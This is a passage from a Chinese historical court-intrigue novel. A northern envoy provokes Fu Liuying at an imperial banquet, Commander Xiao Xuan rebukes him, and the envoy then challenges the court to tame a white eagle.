“尊敬的皇帝陛下！”他的官话带着浓重的北疆口音，但字句清晰，“小王奉北疆大汗之命，特来拜谒天朝皇帝陛下！陛下隆恩，设此盛宴，款待之情，小王与使团上下感佩于心！我北疆王庭亦深知和平之贵，愿与天朝共守边境安宁，互通有无，情谊长存！小王谨代表大汗，敬陛下此杯，祝陛下龙体康泰，祝大周国运昌隆！” 言辞之间，可谓极尽恭敬，姿态也放得足够低。 他仰头豪迈地将杯中烈酒一饮而尽，亮出杯底，尽显北疆人的豪爽气概。 然而，若有人细看，便能发现他那双炯炯有神的鹰目深处，掠过一丝难以掩饰的倨傲与审视。 完颜宗放下酒杯，目光状似无意地扫过萧玹和傅流萤，最终落在皇帝身上，朗声笑道，“皇帝陛下，天朝物华天宝，人杰地灵，实在令小王叹服。尤其是这位萧督主，年纪轻轻便已权倾朝野，更是令人敬佩。” “只是不知……督主身边这位佳人，又是哪位府上的千金？真是天姿国色，与督主甚是相配。” 他这话看似恭维，实则极其刁钻。 谁不知道傅家刚出了天大的丑事，傅湛盗窃御赐之物刚死在天牢？ 他此刻点名傅流萤，分明是哪壶不开提哪壶，意在挑衅和羞辱。 瞬间，大殿内的气氛为之一凝。 许多道目光再次聚焦在傅流萤身上，带着看好戏的意味。 傅莽坐在不远处，脸色瞬间变得极其难看，握着酒杯的手青筋暴起，却又不敢发作。 萧玹面色不变，甚至唇角还含着一丝若有若无的冷笑，他并未立即回答，只是慢条斯理地捻着手中的白玉酒杯。 就在皇帝微微蹙眉，准备开口圆场之时，傅流萤却缓缓站起身。 她朝着完颜宗的方向微微屈膝一礼，动作优雅从容，声音清越平静，不卑不亢：“北疆亲王谬赞。臣女傅流萤，家父乃镇北将军傅莽。能得督主青眼，是臣女的福分。” 她直接点明了自己的身份，毫不避讳，坦然得令人意外。 那份镇定自若的气度，反倒让等着看笑话的一些人暗自惊讶。 完颜宗也没想到她如此直接，愣了一下，随即眼中闪过一抹玩味和更深的探究，“哦？原来是傅将军的千金。傅将军威名，小王在北疆亦是如雷贯耳。只是近日听闻贵府上似乎……” 他故意拖长了语调，恶意几乎不加掩饰。 “亲王殿下。”萧玹终于开口，声音不高，却带着一种冰冷的穿透力，瞬间压下了殿内的所有杂音。 他并未看完颜宗，而是望着手中的酒杯，语气淡漠，“今日乃两国欢宴之时，谈论臣子家事，是否有些不合时宜？莫非北疆王庭，惯于在宴席之上探听他人隐私？” 他这话毫不客气，直接将完颜宗的挑衅上升到了两国礼节的高度。 完颜宗脸色一沉。 他没想到萧玹的胆子居然这么大。 皇帝适时地打了个哈哈，“呵呵，萧爱卿所言极是。今日只谈风月，不论其他。完颜亲王，来，朕再敬你一杯，尝尝我天朝的御酒如何。” 太后也淡淡开口，目光扫过傅流萤，带着一丝不易察觉的审视，“傅家丫头倒是宠辱不惊，颇有气度。坐下吧。” 一场风波，看似被强行压下。 傅流萤依言坐下，垂眸瞬间，与萧玹的目光有一刹那的交汇。 他眼中飞快地掠过一丝极淡的，近乎赞许的神色，快得让她以为是错觉。 完颜宗吃了瘪，面色不豫地喝下皇帝敬的酒，却显然并未罢休。 酒宴继续，但气氛更加微妙。 不久，完颜宗再次起身，这次他拍了拍手。 只见几名北疆武士抬着一个巨大的，蒙着黑布的笼子走进殿来。 “皇帝陛下，太后娘娘，”完颜宗笑道，“小王此次前来，除了进贡清单上的宝物，还特意带来了一件我北疆独有的活宝，愿搏天朝陛下和诸位一笑。” 黑布掀开，笼中竟是一头神骏异常的白鹰！ 它眼神锐利如电，喙爪锋利，顾盼之间带着猛禽特有的桀骜与凶悍。 “此乃我北疆圣山独有的雪顶苍鹰，极通人性，野性难驯。小王驯养多年，方能稍加指挥。” 完颜宗语气中带着自豪，“久闻天朝地大物博，能人异士辈出，不知今日可有勇士，能上前让这苍鹰乖乖听从指令，站于其臂上？若能成功，小王愿以随身宝刀相赠！”